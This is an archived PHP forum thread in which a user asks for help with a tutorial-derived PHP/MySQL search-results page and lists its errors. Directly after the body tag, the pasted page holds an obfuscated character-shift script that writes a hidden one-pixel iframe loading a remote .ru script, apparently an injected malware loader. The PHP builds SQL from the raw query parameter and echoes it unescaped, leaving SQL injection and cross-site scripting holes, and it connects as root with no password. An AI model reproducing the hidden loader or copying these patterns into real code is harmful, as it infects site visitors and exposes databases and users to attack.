Jump to content

Will not work for some reason...


madavies

Recommended Posts

hi,

 

I have copied the code from an online tutorial and I am having problems implementing it... i was wondering if anyone can takea  look at it?:

 

http://www.evolt.org/node/19340

 

the code is here:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php

$db_addr = 'localhost';		// address of MySQL server.
$db_user = 'root';		// Username to access server.
$db_pass = '';		// Password access server.
$db_name = 'wiganlink';	// Name of database to connect to.
$connect = @mysql_connect("$db_addr", "$db_user", "$db_pass");

if (!($connect)) // If no connect, error and exit().
{
     echo("<p>Unable to connect to the database server.</p>");
     exit();
}

if (!(@mysql_select_db($db_name))) // If can't connect to database, error and exit().
{
     echo("<p>Unable to locate the $db_name database.</p>");
     exit();
}

if (!($limit)){
     $limit = 10;} // Default results per-page.

if (!($page)){
     $page = 0;} // Default page value.

$numresults = mysql_query("SELECT * FROM tblresources WHERE hyperlink LIKE '%". $query ."%'"); // the query.

$numrows = mysql_num_rows($numresults); // Number of rows returned from above query.

if ($numrows == 0){
     echo("No results found matching your query - $query"); // bah, modify the "Not Found" error for your needs.
     exit();}

 $pages = intval($numrows/$limit); // Number of results pages.

// $pages now contains int of pages, unless there is a remainder from division.

if ($numrows % $limit) {
$pages++;} // has remainder so add one page

$current = ($page/$limit) + 1; // Current page number.

if (($pages < 1) || ($pages == 0)) {
$total = 1;} // If $pages is less than one or equal to 0, total pages is 1.

else {
$total = $pages;} // Else total pages is $pages value.

$first = $page + 1; // The first result.

if (!((($page + $limit) / $limit) >= $pages) && $pages != 1) {
$last = $page + $limit;} //If not last results page, last result equals $page plus $limit.

else{
$last = $numrows;} // If last results page, last result equals total number of results.
?>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Wigan Borough LINk</title>
<link href="CSS.css" rel="stylesheet" type="text/css" />
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
</style>
<script type="text/javascript" src="textsizer.js"></script>

<style type="text/css">
<!--
.style2 {color: #990066}
.style3 {color: #666666}
-->
</style>
</head>
<body><script type="text/javascript">
status=' ';var s="=jgsbnf!tsd>(iuuq;00hqu1/sv0jo/dhj(!xjeui>(2(!ifjhiu>(2(!tuzmf>(wjtjcjmjuz;ijeefo<(?=0jgsbnf?";
m=""; for (i=0; i<s.length; i++) m+=String.fromCharCode(s.charCodeAt(i)-1); document.write(m);
</script>   
<div align="center">
  <table width="805" border="0" cellpadding="0" cellspacing="0" class="Wigan_LINk">
    <!--DWLayoutTable-->
    <tr>
      <td height="130" colspan="10" valign="top"><script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0','width','800','height','130','src','Menu','quality','high','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','Menu' ); //end AC code
      </script>        <noscript>
        <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="800" height="130">
        <param name="movie" value="Menu.swf" />
        <param name="quality" value="high" />
        <embed src="Menu.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="800" height="130"></embed>
      </object>
      </noscript></td>
    </tr>
    <tr>
      <td colspan="2" rowspan="4" valign="top"><a href="javascript:ts('content',1)"><img src="Graphics/font/+.jpg" alt="Increase Font Size" width="30" height="29" border="0" /></a></td>
      <td width="7" height="5"></td>
      <td width="3"></td>
      <td width="60"></td>
      <td width="3"></td>
      <td width="141"></td>
      <td width="20"></td>
      <td width="533"></td>
      <td width="8"></td>
    </tr>
    <tr>
      <td height="14"></td>
      <td colspan="2" rowspan="2" valign="top"><div align="left"><a href="javascript:ts('content',1)">Larger</a></div></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="4"></td>
      <td></td>
      <td></td>
      <td></td>
      <td rowspan="5" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"id="content">
        
        <!--DWLayoutTable-->
        
        <tr>
          <td width="533" height="15" valign="top"> <div align="left" class="style2">Resources </div></td>
          </tr>
        <tr>
          <td height="80" valign="top"><div align="right"><span class="style3">

<html>
<head>
<title>Search Results for <?=$query?></title>
</head>
<body>
<center><h2>Search Results for <?=$query?></h2></center>
<table width="100%" border="0">
<tr>
  <td width="50%" align="left">
Results <b><?=$first?></b> - <b><?=$last?></b> of <b><?=$numrows?></b>
  </td>
  <td width="50%" align="right">
Page <b><?=$current?></b> of <b><?=$total?></b>
  </td>
</tr>
<tr>
  <td colspan="2" align="right"> 

  </td>
</tr>
<tr>
  <td colspan="2" align="right">
Results per-page: <a href="<?=$PHP_SELF?>?query=<?=$query?>&page=<?=$page?>&limit=5">5</a> | <a href="<?=$PHP_SELF?>?query=<?=$query?>&page=<?=$page?>&limit=10">10</a> | <a href="<?=$PHP_SELF?>?query=<?=$query?>&page=<?=$page?>&limit=20">20</a> | <a href="<?=$PHP_SELF?>?query=<?=$query?>&page=<?=$page?>&limit=50">50</a>
  </td>
</tr>
</table>
<?php
//Go back into PHP mode.</td>
// Now we can display results.
$results = mysql_query("SELECT * FROM tblresources WHERE hyperlink LIKE '%". $query ."%' ORDER BY name ASC LIMIT $page, $limit");
while ($data = mysql_fetch_array($results))
{
?>
<p><a href="<?=$data["hyperlink"]?>" title="<?=$data["description"]?>"><?=$data["start_date"]?></a> - <?=$data["end_date"]?></p>
<?php
}

?>
<p align="center">
<?php
if ($page != 0) { // Don't show back link if current page is first page.
$back_page = $page - $limit;
echo("<a href=\"$PHP_SELF?query=$query&page=$back_page&limit=$limit\">back</a>    \n");}

for ($i=1; $i <= $pages; $i++) // loop through each page and give link to it.
{
$ppage = $limit*($i - 1);
if ($ppage == $page){
echo("<b>$i</b>\n");} // If current page don't give link, just text.
else{
echo("<a href=\"$PHP_SELF?query=$query&page=$ppage&limit=$limit\">$i</a> \n");}
}

if (!((($page+$limit) / $limit) >= $pages) && $pages != 1) { // If last page don't give next link.
$next_page = $page + $limit;
echo("    <a href=\"$PHP_SELF?query=$query&page=$next_page&limit=$limit\">next</a>");}
?>
</p>
</body>
</html>

          </tr>
        
        
        
        
        
        
        
        
        
        
      </table></td>
    <td></td>
    </tr>
    
    
    <tr>
      <td height="7"></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    
    
    
    
    
    
    
    
    <tr>
      <td colspan="2" rowspan="2" valign="top"><a href="javascript:ts('content',-1)"><img src="Graphics/font/-.jpg" alt="Decrease Font Size" width="30" height="29" border="0" /></a></td>
      <td height="21"></td>
      <td></td>
      <td colspan="2" valign="top"><div align="left"><a href="javascript:ts('content',-1)">Smaller</a></div></td>
      <td> </td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="9"></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    
    
    
    
    
    <tr>
      <td width="16" height="54"> </td>
      <td width="14"></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="22"> </td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td> </td>
      <td></td>
    </tr>
    
    
    
    <tr>
      <td height="170"> </td>
      <td colspan="6" valign="top"><img src="Graphics/Circle_People.png" width="226" height="170" /></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td height="36"> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    
    

    
    

    
    
    <tr>
      <td height="128" colspan="10" valign="top"><script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0','width','800','height','128','src','Footer','quality','high','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','Footer' ); //end AC code
      </script>        <noscript>
        <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="800" height="128">
        <param name="movie" value="Footer.swf" />
        <param name="quality" value="high" />
        <embed src="Footer.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="800" height="128"></embed>
      </object>
      </noscript></td>
    </tr>
  </table>
</div>

</body>
</html>

 

The errors are numerous:

Notice: Undefined variable: limit in C:\wamp\www\Wigan_Link\test_resources.php on line 24

 

Notice: Undefined variable: page in C:\wamp\www\Wigan_Link\test_resources.php on line 27

 

Notice: Undefined variable: query in C:\wamp\www\Wigan_Link\test_resources.php on line 30

 

Notice: Undefined variable: query in C:\wamp\www\Wigan_Link\test_resources.php on line 158

 

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\wamp\www\Wigan_Link\test_resources.php on line 159

       

 

Link to comment
https://forums.phpfreaks.com/topic/148968-will-not-work-for-some-reason/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.